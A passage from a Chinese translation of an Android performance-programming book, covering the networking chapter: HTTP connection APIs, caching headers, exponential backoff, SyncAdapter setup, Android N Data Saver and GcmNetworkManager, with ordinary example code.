安卓高性能编程(三)
原文:
zh.annas-archive.org/md5/09787EDC0EF698C9109E8B809C38277C译者:飞龙
第六章:网络
在谈论移动应用程序的性能时,主要关注的是我们的应用程序在连接条件差的情况下的表现。没有开发者希望他的用户因为应用程序在上传或下载数据时太慢,或者与其他平台相同应用程序版本不同步而给出负面反馈。我们有多少次因为客户端或用户说应用程序太慢而改变应用程序的网络策略?网络并不是完全可以从客户端控制的,因为在这个过程中涉及到太多的外部因素:代理、网页服务器、服务提供商、DNS 等。我们无法知道是否有一个或多个元素链中存在问题。
此外,用户并不知道问题出在哪里,但他会认为应用程序不好。然后他会卸载它。然而,我们可以通过使用一些高级技术来减少网络负载,特别是在特定情况下使用一些网络模式,以及识别一些简化我们开发的库来控制应用程序行为并提高用户感知的应用程序性能。像往常一样,我们将通过一些理论知识来掌握这个主题,了解提高应用程序网络方法的最佳实践,然后我们将看看一些不同的,但都有帮助的,官方和第三方的工具,来分析我们的代码,并检查应用程序在不同连接条件下的表现。
演练
在我们深入代码学习不同的技术来改进我们的策略之前,我们希望对网络以及 Android 平台提供可能性有一个总体了解。那么,让我们考虑一下客户端在从服务器实例获取预期响应之前需要做些什么。当客户端需要服务器响应时,它在一个高层架构中被路由,这个架构包含许多参与者,如 Wi-Fi 接入点、局域网、代理、服务器和 DNS 服务器,它们有多个实例,需要完成多个请求才能得到所需的响应。然后,当服务器接收到请求时,它需要处理响应,并将其路由回客户端。完成所有这些操作所需的时间对用户来说必须是合理的。此外,链中任意两个参与者之间的链接可能会中断,然后无法向客户端返回响应。与此同时,用户正在应用程序上等待结果,但应用程序却无法接收它,当达到超时时,它将显示错误。
图 1 显示了一个可能的流程示例:
图 1:外部网络架构示例
我们不希望这种情况发生在我们的用户身上,但我们无法预测在这种高复杂性架构中会发生什么。相反,我们可以做的是,在处理应用程序外部通信的方式上应用一些增强措施。
无论如何,在开始之前,让我们检查一下外部请求是如何工作的,以更好地了解如何提高网络性能。让我们分解一下客户端在发起请求和处理服务器响应时发生的情况。为此,请查看图 2。它展示了从客户端角度的请求和响应,忽略了可能的错误或延迟:它们只是可能在请求中设置的参数以及与响应相关的信息和操作。
图 2:请求和响应客户端项概览
为了处理这些问题,Android 提供了两个主要的 API:
-
HttpClient:DefaultHttpClient和AndroidHttpClient类是用于这种 HTTP 实现的主要类。 -
URLConnection:这是一个更灵活、性能更高的 API,用于连接到 URL。它可以使用不同的协议。
URLConnection API 比HttpClient API 更受欢迎,以至于后者首先被弃用,然后从 Android MarshMallow(API 级别 23)开始被移除。因此,除非特别说明,否则我们将只参考URLConnection API。
有一些外部库可以导入到我们的项目中,以使用不同的 API,但特别值得一提的是,除了整合我们将在以下部分看到的某些模式外,还可以在工作者线程中处理请求,从而免去了我们为此创建后台线程的麻烦。我们所说的是谷歌的 Java HTTP 客户端库。在以下部分特别说明时,我们也会提到这一点。
当我们处理互联网访问时,我们必须始终请求用户的许可。然后,我们需要在清单文件中添加以下内容:
<uses-permission android:name="android.permission.INTERNET" />
让我们从 Android 的角度更详细地看看图 2中每个项目的具体内容。这将让我们在进入最佳实践部分之前,对它们有更好的了解。
协议
我们感兴趣的是使用 HTTP 协议进行通信。URLConnection子类支持的联网协议包括以下几种:
-
HTTP 和 HTTPS:
HttpUrlConnection是主要的类,也是我们将在本章剩余部分处理的内容。 -
FTP:没有特定的类用于文件传输协议(FTP)通信。你可以简单地使用默认的
URLConnection类,因为它提供了你需要的一切。 -
File:可以使用
URLConnection类从文件系统中检索本地文件。它基于文件的 URI;因此,你需要调用以 file 开头的 URL。 -
JAR:此协议用于处理 JAR 文件。
JarUrlConnection是获取这类文件的合适类。
该类还允许开发人员使用URLStreamHandlerFactory对象添加额外的协议。
方法
HttpURLConnection类提供的主要请求方法如下:
-
GET:这是默认使用的方法,因此你不需要设置其他内容即可使用它。 -
POST:可以通过调用URLConnection.setDoInput()方法来使用。
其他方法可以通过使用URLConnection.setRequestMethod()方法来设置它们。
头部
在准备请求时,可能需要添加一些额外的元数据,以使服务器了解应用程序的特定状态,或者关于用户和会话的信息等。头部是添加到请求中的键/值对。它们还用于更改,例如,响应格式,启用压缩,或者请求特定的 HTTP 特性。
有两种特殊的方法用于向请求添加头部和从响应获取头部:
-
URLConnection.setRequestProperty() -
URLConnection.getHeaderFields()
在接下来的页面中,我们将更详细地了解一些标题。
超时
URLConnection类支持两种类型的超时:
-
连接超时:可以使用
URLConnection.setConnectTimeout()方法设置。客户端将等待与服务器建立成功的连接,等待时间由设置的值决定。如果在设定的时间量后没有建立连接,将抛出SocketTimeoutException。 -
读取超时:这是等待输入流完全读取的最大时间,否则将抛出
SocketTimeoutException。要设置它,请使用URLConnection.setReadTimeout()方法。
对于这两者,默认值是0,即客户端没有超时。因此,超时由 TCP 传输层处理。我们无法控制这一点。
内容
当我们与服务器开始新的连接时,我们希望得到一个响应;我们可以通过使用URLConnection.getContent()方法,将响应内容作为InputStream获取。内容有一些参数需要读取,响应中有三个头部控制如何读取它:
-
内容长度:这是响应的字节长度,由相关头部指定,并通过
URLConnection.getContentLength()方法获取。 -
内容类型:这是来自
URLConnection.getContentType()方法的内容的 MIME 类型。 -
内容编码:这是用于响应内容编码的类型。使用
URLConnection.getContentEncoding()方法来确定使用哪种编码。
压缩
内容编码值用于指定响应内容内部的压缩类型。客户端可以通过使用Accept-Encoding头并指定以下之一来请求响应的特定编码:
-
null或identity:这些用于请求响应内容不进行编码。 -
gzip:这是默认值;客户端将始终请求 gzip 压缩的内容。
尽管客户端请求压缩内容,但服务器可能未启用 gzip 压缩。我们可以通过检查 URLConnection.getContentEncoding() 方法的结果来确定内容是否被压缩。
需要了解的是,每次我们在请求中添加 Accept-Encoding 头信息时,响应的自动解压缩功能会被禁用。如果响应内容被压缩,我们需要使用 GZIPInputStream 而不是传统的 InputStream。
响应代码
响应对于创建我们的策略至关重要,因为应用程序需要根据响应代码以不同的方式行事。HttpURLConnection.getResponseCode() 方法返回响应代码,我们可以使用它来切换应用程序的行为。下面是它们的宏观分组:
-
2xx: 成功:服务器已接收请求并返回响应。 -
3xx: 重定向:客户端需要采取行动以继续请求。这通常是自动完成的;大多数情况下我们不需要处理这些动作。 -
4xx: 客户端错误:这种响应代码表示请求存在问题。可能是请求中的语法错误,请求前需要授权,请求的资源找不到等等。 -
5xx: 服务器错误:如果服务器内部出现问题或某些服务超载,服务器可能会发送带有此代码的响应。
连接类型
除了请求和响应参数外,从客户端的角度来看,我们可以根据启用的连接类型在需要请求时改变应用程序的行为。可以使用 ConnectionManager API 来确定在特定时间哪个连接是活跃的。调用 ConnectionManager.getActiveNetworkInfo() 来检索 NetworkInfo 数据。了解哪个连接是活跃的以及是否已连接很有帮助。调用 NetworkInfo.getType() 方法来获取 ConnectionManager 的常量值,并比较以下类型:
-
TYPE_MOBILE -
TYPE_WIFI -
TYPE_WIMAX -
TYPE_ETHERNET -
TYPE_BLUETOOTH
如果需要用户下载大文件,我们应避免在移动网络激活时这样做,因为其速度可能比 Wi-Fi 连接慢得多,并且可能导致用户产生意外的费用。
检查活跃网络不足以知道我们是否可以开始新的网络请求:我们还应该调用 NetworkInfo.isConnected() 方法来接收响应。
我们甚至可以通过使用 BroadcastReceiver 并为其注册 ConnectivityManager.CONNECTIVITY_ACTION 事件来监听网络变化。这样,我们就可以知道活跃网络发生更改时的情况,然后例如,如果 Wi-Fi 已开启,就可以开始新的请求。
要访问网络状态的所有这些操作,我们需要得到用户的进一步许可,并在清单文件中添加以下内容:
<uses-permission
android:name="android.permission.ACCESS_NETWORK_STATE" />
最佳实践
我们在前一节讨论的网络理论是我们将要概述的最佳实践的起点。我们将研究网络软件架构和要遵循的模式,以改善应用程序的客户端-服务器通信,从而增强用户对我们应用程序速度的理解。
延迟评估
我们最初说过,没有办法预测到服务器远程请求的时间。这通常是正确的,但我们可以通过追踪请求的时间并计算平均值来大致估计其持续时间。这种特定的过程有助于根据延迟定义不同的策略。例如,如果对特定远程资源的响应速度很快,我们可以预期在相同的连接条件下,它仍然会很快。
此外,我们然后可以更改请求,在响应较慢的情况下请求更多信息。典型的例子是图像分辨率:如果响应足够快,我们可以向服务器请求更高分辨率的图像。另一方面,如果我们预期响应较慢,最好请求较低分辨率的图像。这样,我们可以平衡时间并获得相同的响应性。
因此,需要设置特定的延迟量,考虑响应是快还是慢。我们甚至可以考虑不止一个延迟级别来创建我们的策略。这样,响应时间的估计将更准确,这种模式的实现也会更好。
例如,考虑具有三个延迟级别的案例:Wi-Fi 连接的标准延迟,LTE 的较高延迟和 GPRS 的较低延迟。以下代码段显示了如何检查连接并应用策略:
ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
NetworkInfo activeNetwork = cm.getActiveNetworkInfo();
switch (activeNetwork.getType()) {
case (ConnectivityManager.TYPE_WIFI):
// apply standard latency strategy
break;
case (ConnectivityManager.TYPE_MOBILE): {
switch (tm.getNetworkType()) {
case (TelephonyManager.NETWORK_TYPE_LTE):
// apply higher latency strategy
break;
case (TelephonyManager.NETWORK_TYPE_GPRS):
// apply lower latency strategy
break;
default:
break;
}
break;
}
default:
break;
}
批处理连接
每次打开无线电进行连接时,它大约会消耗 20 秒的电力,这会导致从用户的角度来看电池耗电量大,性能感知低。因此,尽可能减少连接次数非常重要。
我们可以在应用程序中应用的可能策略之一是收集客户端和服务器之间所有要交换的数据,并在数据传输量足够时为将来的连接保留。这个想法是减少连接次数,并增加每次连接时传输的数据量。
一个典型的例子是经典的分析库。它可以在发生需要追踪的事件时执行连接,或者在达到某些事件数量或过了一定时间后,收集事件以便传输到服务器。第二个选择更为可取,因为它减少了通信次数并增加了单个连接传输的数据量。
提示
在设计客户端/服务器架构时,减少通信量应始终是一个关键点。牢记这一点可能会使应用程序性能超出预期,因为如果设计得当,这种架构可以导致屏幕内容丰富且通信量减少。
在我们的应用程序中使用这种模式主要有两个方面:我们可以执行一个请求来获取更多数据,要求服务器提供有关我们应用程序多个部分的信息以减少请求,或者我们可以批量处理多个连接以避免不必要的无线电操作,这可能会耗尽电池电量。下面几页将详细介绍它们。
预取
一种特殊的减少连接并避免应用程序出现空白屏幕的技术是预取。这个想法是,在连接可用时尽可能多地下载数据,用于我们应用程序的不同请求和部分。因此,在可能的情况下,我们应该让应用程序在后台下载数据,以填充部分内容并预测可能导致性能感知下降的用户请求。
这必须设计好,因为如果使用不当,它可能导致电池耗电和带宽过大,仅仅因为下载了未使用的数据。因此,一个好的策略是结合延迟评估来使用这种模式。一旦我们估计了延迟,如延迟评估部分所述,我们可以使用不同的预取策略和不同级别的资源向服务器请求,为未来更好的连接机会要求更高的预取策略。
排队连接
在开启无线电的情况下减少时间有一个特殊情况:如果请求不会立即执行,它们可以排队等待未来的批量连接。以下代码就是这种情况的一个例子:
public class TransferQueue {
private Queue<Request> queue;
public void addRequest(Request request) {
queue.add(request);
}
public void execute() {
//Iteration over the queue for executions
}
}
缓存响应
如前所述,节省时间、带宽和电池电量的最佳方法是不执行任何网络请求。这并不总是可能的,但我们可以使用缓存技术来减少这些请求。为此,在策略应用方面有几个选择。
有关文件和位图缓存的更深入技术,请参考第十章,性能技巧。
缓存控制
安卓冰淇淋三明治(API 级别 14)提供了一个有用的 API,将响应保存到文件系统中作为缓存。我们所说的是HttpResponseCache类。当使用HttpURLConnection和HttpsURLConnection类时,它可以用来保存和重用响应。
使用它的第一件事是设计合适的缓存大小:它需要有一个上限,以便开始删除不必要的条目来释放磁盘空间。然后,我们需要找到合适的数量,以便在不过分占用磁盘空间的情况下进行少量删除。这取决于应用程序执行请求的类型以及每个请求下载数据的量。选择缓存大小后,需要在应用程序开始时按以下方式安装缓存:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
File httpCacheDir = new File(getCacheDir(), "http");
long httpCacheSize = 0;
HttpResponseCache.install(httpCacheDir, httpCacheSize);
} catch (IOException e) {
Log.i(getClass().getName(), "HTTP response cache installation failed:" + e);
}
}
这样,每个网络请求的响应将被缓存在应用程序内存中,以供将来需要。我们还需要在Activity.onStop()方法中刷新缓存,以便在下次应用程序启动时可用:
protected void onStop() {
super.onStop();
HttpResponseCache cache = HttpResponseCache.getInstalled();
if (cache != null) {
cache.flush();
}
}
下一步是决定是否必须缓存每个请求。根据我们对每个请求的需求,我们将不得不在请求头中使用以下内容指定预期行为:
connection.addRequestProperty("Cache-Control", POLICY);
POLICY的值可以是以下之一:
-
no-cache:这种方式请求完整的刷新。整个数据将被下载。 -
max-age=SECONDS:如果响应的年龄小于由SECONDS指定的值,客户端将接受该响应。 -
max-stale=SECONDS:如果响应的过期时间不超过指定的SECONDS,客户端将接受该响应。 -
only-if-cached:强制客户端使用缓存响应。如果没有任何缓存响应可用,URLConnection.getInputStream()方法可能会抛出FileNotFoundException。
提示
网络请求缓存默认是禁用的。我们可以使用HttpResponseCache API 来启用它。一旦启用了HttpResponseCache API,它将被用于我们应用程序的每个网络请求。然后,由我们决定如何处理每个请求缓存。
当你可以访问服务器实现时,最佳选择是将服务器端处理请求过期时间的任务委托给响应的cache-control头部。这样,你可以从远程简单修改响应头部来改变策略。相反,如果你无法访问服务器端代码,就需要一个策略来处理缓存响应的过期日期,这取决于服务器端实际的响应头部。
Last-Modified
在处理静态远程资源时,我们可以获取特定资源的最后修改日期。这可以通过读取响应中的Last-Modified头部来实现。此外,我们还可以读取Expire头部来了解内容是否仍然有效。一个好的做法是连同最后修改日期一起缓存资源,并将这个日期与服务器端的日期进行比较。因此,我们可以应用缓存策略来更新缓存资源以及图形布局。
以下代码段是此头部使用的一个示例:
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
long lastModified = conn.getHeaderFieldDate("Last-Modified", currentTime);
if (lastModified < lastUpdateTime) {
// Skip
} else {
// Update
}
在这种情况下,必须单独选择并实现缓存策略。
If-Modified-Since
还有一种巧妙的方法可以达到与Last-Modified头部案例相同的结果:那就是If-Modified-Since头部。如果请求包含有If-Modified-Since头部,其中带有客户端上次检查资源的日期,服务器将根据Last-Modified头部的不同返回不同的状态码:
-
200:自上次客户端检查以来,远程资源已被修改。响应包含预期的资源。 -
304:远程资源未修改。响应不包含内容。
这里聪明的地方在于,如果内容没有被更新,它就不会在响应中,从而减少了负载,加快了这种客户端/服务器通信的速度。而且更重要的是,如果服务器没有实现这个 HTTP 1.1 策略,客户端仍然可以请求它,总是收到一个200 OK的响应。因此,我们可以在客户端实现这个逻辑,以便将来接收我们后端服务的If-Modified-Since头部。
让我们看看如何使用这个头部。它可以像以下代码所示的那样显式使用:
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.addRequestProperty("If-Modified-Since", lastCheckTime);
try {
int statusCode = conn.getResponseCode();
switch (statusCode) {
case 200:
// Content has been modified
// Update cached content
// Update cached lastCheckedTime in cache
break;
case 304:
// Content has not been modified
// Get cached content
break;
}
} catch (IOException e) {
e.printStackTrace();
}
否则,HttpURLConnection类有一个特别的方法可以用来启用请求中的If-Modified-Since头部。它包含在以下代码片段中:
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setIfModifiedSince(lastCheckTime);
// status code check...
指数退避
有时我们无法避免轮询。在这些情况下,我们应该在出现问题时处理服务器问题,并使用不同的策略。当服务器因过多的请求或网络流量过大而无法处理时,它开始返回错误。对于这些情况,指数退避策略是正确的选择,可以减轻服务器因大量无用的请求而拒绝服务的压力。这种模式包括如果服务器用错误响应,则在后续请求之间增加暂停时间。这样,我们给服务器一个处理过多请求并恢复正常状态的机会。然后,当服务器恢复正常时,我们可以恢复正确的轮询间隔。
让我们通过一些代码来更好地理解如何实现这样的网络模式:
public class Backoff {
private static final int BASE_DURATION = 1000;
private static final int[] BACK_OFF = new int[]{1, 2, 4, 8, 16, 32, 64};
public static InputStream execute(String urlString) {
for (int attempt = 0; attempt < BACK_OFF.length; attempt++) {
try {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.connect();
return connection.getInputStream();
} catch (SocketTimeoutException | SSLHandshakeException e) {
try {
Thread.sleep(BACK_OFF[attempt] * BASE_DURATION);
} catch (InterruptedException ex) {
throw new RuntimeException(ex);
}
} catch (Exception e) {
return null;
}
}
return null;
}
}
谷歌为 Java 提供的 HTTP 客户端库中也有这种模式的实现。我们可以向HttpRequest对象添加一个UnsuccesfulResponseHandler,传递一个HttpBackOffUnsuccessfulResponseHandler对象。此外,可以在执行前实现一个ExponentialBackOff对象,如下所示:
HttpRequest request = null;
//request initialization...
ExponentialBackOff backoff = ExponentialBackOff.builder()
.setInitialIntervalMillis(1000)
.setMaxElapsedTimeMillis(10000)
.setMaxIntervalMillis(10000)
.setMultiplier(1.5)
.setRandomizationFactor(0.5)
.build();
request.setUnsuccessfulResponseHandler(new HttpBackOffUnsuccessfulResponseHandler(backoff));
HttpResponse httpResponse = request.execute();
//response handling...
请记住,不要将此模式用于表示开发错误的服务器响应码。对于400 (InvalidParameters)或404 (NotFound)响应码,应用它是没有意义的。
轮询与推送
我们讨论了减少连接次数的重要性,因为它们对电池和应用的整体性能有影响。有许多情况我们需要从服务器同步数据,我们首先想到的是创建一个轮询系统以保持应用程序始终更新。然后,客户、产品所有者、项目经理等要求我们改善用户体验,我们减少了轮询间隔,导致应用程序不断向服务器请求更新,尤其是从不关闭连接,从而持续增加 CPU 的负担。此外,如果我们不关心用户使用的连接类型,我们可能会让他用完合同中可用的带宽,只是为了检查服务器上是否有新数据可用。
相反的情况是最佳情况:当服务器端发生更改时,它会联系客户端告知发生了什么。这种方式不会建立不必要的连接,并且客户端始终保持最新。为此,谷歌提供了谷歌云消息传递框架。
然而,有时我们无法更改服务器实现,因为我们无法访问后端代码。无论如何,我们可以通过使用一些巧妙的技巧来改进我们设计的轮询机制:
-
让用户决定使用哪个间隔:这样用户就能了解应用程序的行为,并在它耗电过多或需要更准确的更新时更改该值。
-
使用
AlarmManager时,使用非精确重复闹钟来执行网络操作。系统会自动批量处理多个连接,减少无线电的活动时间。 -
当轮询处于激活状态时,我们可以检查服务器上新数据的频率,并应用指数退避模式等待服务器上的新数据,从而减少不必要的连接数量。例如,如果我们的应用程序请求更新,而没有任何更新可用,我们可以让下一个请求在执行前等待两倍的时间,以此类推,直到达到最大值。当有新数据可用时,我们可以恢复默认值并继续这种方式。
提供的 API
在以下页面中,我们希望介绍谷歌提供的一些 API,以改善应用程序的网络部分,并帮助我们以更好的方式开发之前讨论的内容。
同步管理器
SyncManager API 是为了帮助开发者在客户端和服务器之间设计良好的双向同步系统而提供的。在那些我们希望从客户端传输数据到服务器或反之,但不需要立即执行的情况中,它非常有用。在设计我们的应用程序时,框架提供了许多我们必须考虑的优势,因为它可能是正确的选择,并使我们从开发完成所有必要代码中解放出来。框架期望你的应用程序使用ContentProvider在本地存储数据,以便与服务器同步。
它可以将我们的任务添加到队列中,并在满足我们想要的条件时执行它们,例如延迟或在数据更改时等。它可以检查连接性是否可用,并批量连接以减少无线活动时间。它还处理用户的登录信息,以便使用登录凭据将数据同步到服务器。这不是强制性的,因为你可以自己处理登录管理,但你需要定义处理认证的对象。
一旦在我们的应用程序中实现了框架,就可以通过多种方式执行同步操作:
-
当服务器通知客户端某些内容已更改。这是避免轮询方法的最佳方式,如之前讨论的。最好的方法是使用 Google Cloud Messaging:当收到消息时,只需调用
ContentResolver.performSync()方法来开始新的同步。 -
当客户端发生某些变化,需要同步以使远程服务中的信息保持更新。与前面的情况一样,调用
ContentResolver.performSync()方法。 -
当系统通知现在是合适的时间去做这件事,因为有一个为许多其他连接打开的连接。这时,我们需要使用
ContentResolver.setSyncAutomatically()方法。 -
当由于需要定期同步操作而间隔时间到期时。使用
ContentResolver.addPeriodicSync()方法,指定间隔。 -
当我们希望在没有任何特定条件的情况下开始新的同步时。在这种情况下,调用
ContentResolver.performSync()方法。
让我们在以下段落中了解框架的实现。
认证器
Authenticator类可以通过继承AbstractAccountAuthenticator类并实现需要提供服务器上正确认证的每个抽象方法来创建。下面的代码段显示了我们需要实现的方法(如果没有认证,你可以使用这个默认实现并将其作为模拟):
public class Authenticator extends AbstractAccountAuthenticator {
public Authenticator(Context context) {
super(context);
}
@Override
public Bundle editProperties(AccountAuthenticatorResponse response, String accountType){return null;}
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options){return null;}
@Override
public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options){return null;}
@Override
public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options){return null;}
@Override
public String getAuthTokenLabel(String authTokenType) {return null;}
@Override
public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options){return null;}
@Override
public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features){return null;}
}
为了使我们的Authenticator工作,我们需要创建一个绑定服务以提供对Authenticator的访问。它可以像下面代码段中的简单服务:
public class AuthenticatorService extends Service {
private Authenticator mAuthenticator;
@Override
public void onCreate() {
mAuthenticator = new Authenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
return mAuthenticator.getIBinder();
}
}
身份验证器的参数需要在 XML 文件中以以下方式声明:
<account-authenticator
android:accountType="accountExample"
android:icon="@mipmap/ic_launcher"
android:smallIcon="@mipmap/ic_launcher"
android:label="@string/app_name"/>
最后,我们需要在清单文件中添加service,并指定最近创建的身份验证器:
<service
android:name=".syncmanager.AuthenticatorService">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator"/>
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
同步适配器
SyncAdapter类负责在服务器和客户端之间执行同步。可以通过以下方式扩展AbstractThreadedSyncAdapter类来创建:
public class SyncAdapter extends AbstractThreadedSyncAdapter {
ContentResolver contentResolver;
public SyncAdapter(Context context, boolean autoInitialize) {
super(context, autoInitialize);
contentResolver = context.getContentResolver();
}
public SyncAdapter(Context context, boolean autoInitialize, boolean allowParallelSyncs) {
super(context, autoInitialize, allowParallelSyncs);
contentResolver = context.getContentResolver();
}
@Override
public void onPerformSync(Account account, Bundle extras, String authority, ContentProviderClient provider, SyncResult syncResult) {
// code to execute the transfer...
}
}
ContentResolver类用于在SyncAdapter.onPerformSync()方法中查询ContentProvider。框架不下载或上传数据,也不处理ContentProvider。我们需要根据需要自行处理,但SyncAdapter.onPerformSync()方法在后台线程中执行,因此我们无需为此目的创建新的线程。
对于Authenticator类,我们需要为这个SyncAdapter也提供一个绑定的服务:这样我们就可以从绑定组件中引用SyncAdapter,以便在我们想要时启动新的同步。为此,我们可以创建以下服务,并小心地在Service.onCreate()方法中实例化SyncAdapter以作为单例使用:
public class SyncAdapterService extends Service {
private static SyncAdapter syncAdapter = null;
private static final Object lock = new Object();
@Override
public void onCreate() {
synchronized (lock) {
if (syncAdapter == null) {
syncAdapter = new SyncAdapter(getApplicationContext(), true);
}
}
}
@Override
public IBinder onBind(Intent intent) {
return syncAdapter.getSyncAdapterBinder();
}
}
SyncAdapter的参数必须在 XML 文件中以下列方式声明:
<sync-adapter
android:contentAuthority="authorityExample"
android:accountType="accountExample"
android:userVisible="false"
android:supportsUploading="false"
android:allowParallelSyncs="false"
android:isAlwaysSyncable="true"/>
最后,我们需要在清单文件中声明服务,并提供有关提供的SyncAdapter的信息:
<service
android:name=".syncmanager.SyncAdapterService"
android:exported="true"
android:process=":sync">
<intent-filter>
<action android:name="android.content.SyncAdapter"/>
</intent-filter>
<meta-data android:name="android.content.SyncAdapter"
android:resource="@xml/syncadapter" />
</service>
Android N 的变化
从网络的角度来看,Android N 在系统行为中引入了一些变化。我们需要了解这些变化,因为如果不理解清楚,它们可能导致不想要的结果。以下是这些变化:
-
数据节省器:这是一个新模式,用户可以启用它以在后台节省昂贵的数据使用,
ConnectivityManager类提供了一种新的方式来访问这些设置 -
后台优化:不再发送通知应用程序连接性已发生变化的广播
在接下来的几页中,我们将通过这些变化来了解如果我们针对新的 Android N SDK 的应用程序,我们能做什么。
数据节省器
在 Android N 中引入的新数据节省器功能,用户可以通过防止数据计划中的意外费用来节省数据流量。用户如何应用这些策略?在设备设置选项中,用户可以检查单个应用程序在后台时访问数据。不允许在后台接收数据的应用程序可以读取用户偏好及其更改。图 3展示了在搭载新 Android N 的设备上,新的数据节省器功能的外观:
图 3:设备设置内的数据节省器功能及其详情
让我们看看它是如何工作的。Android N SDK 在ConnectionManager API 中提供了新的方法来检查用户偏好。主要方法是:
ConnectionManager.getRestrictedBackgroundStatus()
它返回以下之一:
-
RESTRICT_BACKGROUND_STATUS_DISABLED:当数据节省器被禁用时返回。 -
RESTRICT_BACKGROUND_STATUS_ENABLED:当启用 数据节省 时返回;现在应用程序不应当在后台使用网络。 -
RESTRICT_BACKGROUND_STATUS_WHITELISTED:当启用 数据节省 但应用程序被列入白名单时返回。即使应用程序被列入白名单,在启用 数据节省 时,应用程序也应限制网络请求。
应用程序应在每种情境下都满足用户的性能预期。这就是为什么我们应该使用此 API 来检查用户偏好,然后根据这些偏好来改变应用程序行为的原因。
一旦我们检查了用户对 数据节省 的偏好,我们就应该检查当前连接类型是否为计量的。一个 计量连接 是指由于费用和数据计划问题,不应用来下载大量数据的连接。要了解当前连接是否为计量连接,我们可以使用 ConnectivityManager.isActiveNetworkMetered() 方法。
检查以下代码,了解如何同时处理 数据节省 设置和计量网络的情况:
ConnectivityManager connectionManager = (ConnectivityManager)
getSystemService(Context.CONNECTIVITY_SERVICE);
// Checks if the active network is a metered one
if (connectionManager.isActiveNetworkMetered()) {
// Checks user's Data Saver preference.
switch (connectionManager.getRestrictBackgroundStatus()) {
case RESTRICT_BACKGROUND_STATUS_ENABLED:
// Data Saver is enabled and, then, the application shouldn't use the network in background
break;
case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
// Data Saver is enabled, but the application is //whitelisted. The application should limit //the network request while the Data Saver //is enabled even if the application is whitelisted
break;
case RESTRICT_BACKGROUND_STATUS_DISABLED:
// Data Saver is disabled
break;
}
} else {
// The active network is not a metered one.
// Any network request can be done
}
新 API 还提供了一种监听与 数据节省 相关的用户偏好变化的方法。为此,我们只需注册 BroadcastReceiver 来监听新添加的 ConnectionManager.ACTION_RESTRICT_BACKGROUND_CHANGE 动作。
当我们的 BroadcastReceiver 收到此类动作时,我们应该检查活动网络和 数据节省 选项的新偏好,如前一段所述,然后相应地操作,以便应用程序能够展现出用户预期的适当行为:
public class DataSaverActivity extends Activity {
private BroadcastReceiver dataSaverPreferenceReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
ConnectivityManager connectionManager = (ConnectivityManager)
getSystemService (Context.CONNECTIVITY_SERVICE);
// Checks if the active network is a metered one
if (connectionManager.isActiveNetworkMetered()) {
// Checks user's Data Saver preference.
switch (connectionManager. getRestrictBackgroundStatus()) {
case RESTRICT_BACKGROUND_STATUS_ENABLED:
// Data Saver is enabled and, then, the //application shouldn't use the //network in background
break;
case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
// Data Saver is enabled, but the //application is whitelisted. The //application should limit the network //request while the Data Saver //is enabled even if the application //is whitelisted
break;
case RESTRICT_BACKGROUND_STATUS_DISABLED:
// Data Saver is disabled
break;
}
} else {
// The active network is not a metered one.
// Any network request can be done
}
}
};
@Override
protected void onStart() {
super.onStart();
IntentFilter filter = new IntentFilter(ConnectivityManager. ACTION_RESTRICT_BACKGROUND_CHANGE);
registerReceiver(dataSaverPreferenceReceiver, filter);
}
...
}
此特定事件不会传递给声明了隐式 BroadcastReceiver 来监听它的应用程序。这一特定政策限制了后台工作;我们将在后续页面中进行解释。
后台优化
我们在第四章 内存 中探讨了这一主题,当时讨论了连接变化对后台进程内存的影响。我们希望从网络的角度再次审视这个问题,以了解如何改变应用程序在后台的工作方式。
安卓 N 真正改变了什么?有一个特定的动作可以通过使用 Android BroadcastReceiver 类的主要组件传递给应用程序。我们知道,BroadcastReceiver 可以通过意图以两种主要方式进行注册:
-
隐式地:你可以在清单文件中为组件声明一个意图过滤器对象。
-
显式地:你可以在组件内部使用
Context.registerReceiver()方法注册BroadcastReceiver。
从组件状态的角度来看,它们之间的区别在于,如果你使用显式方法,组件已经被创建,而使用隐式方法,则会启动组件的新实例。这种行为导致后台操作被执行,然后系统需要额外的努力;这影响了资源、内存和电池。
因此,谷歌决定改变这一行为,针对特定的动作:ConnectionManager.CONNECTIVITY_ACTION。因此,如果应用程序针对的是 Android N,这个动作将只由注册了接收器的组件以显式方式接收到;然而,如果使用隐式方式,组件将不再接收它。
正如我们将在以下页面看到的,这可以非常有助于了解设备上何时激活了新的连接状态,以便在后台启动新请求,然后更新一些数据以预取内容。从 Android N 开始,这将不再可能,但谷歌提供了一些替代方案,以其他方式达到这一目标:
-
JobScheduler -
GcmNetworkManager
这些框架使用特定的机制来检查在开始与外部资源的新通信之前是否满足所需的网络条件。然后,我们可以像以前一样安排操作来预取数据,而无需注意某些条件。
GcmNetworkManager
谷歌提供了一个有用的 API,名为GcmNetworkManager。它位于谷歌服务 API 的 Google Cloud Messaging 包内。它封装了前面讨论的模式,并增加了更多功能。它提供了以下功能:
-
调度一次性任务
-
调度周期性任务
-
指数退避重试实现:在出现错误的情况下,可以使用指数退避重试策略再次安排任务
-
服务实现:任务的状态与应用程序实现无关,可以在重启和重新启动后保持持久化
-
网络状态依赖的任务调度:可以根据特定的网络状态来安排任务的执行
-
设备充电状态任务调度:只有当设备处于充电模式时,才能安排任务的执行
服务的实现
这是一个易于使用的 API,其灵活性使得我们可以在许多不同的情况下使用它。让我们通过以下代码来了解其实现方法。首先,我们需要通过继承GcmTaskService类来创建我们的服务:
public class MyGcmTaskService extends GcmTaskService {
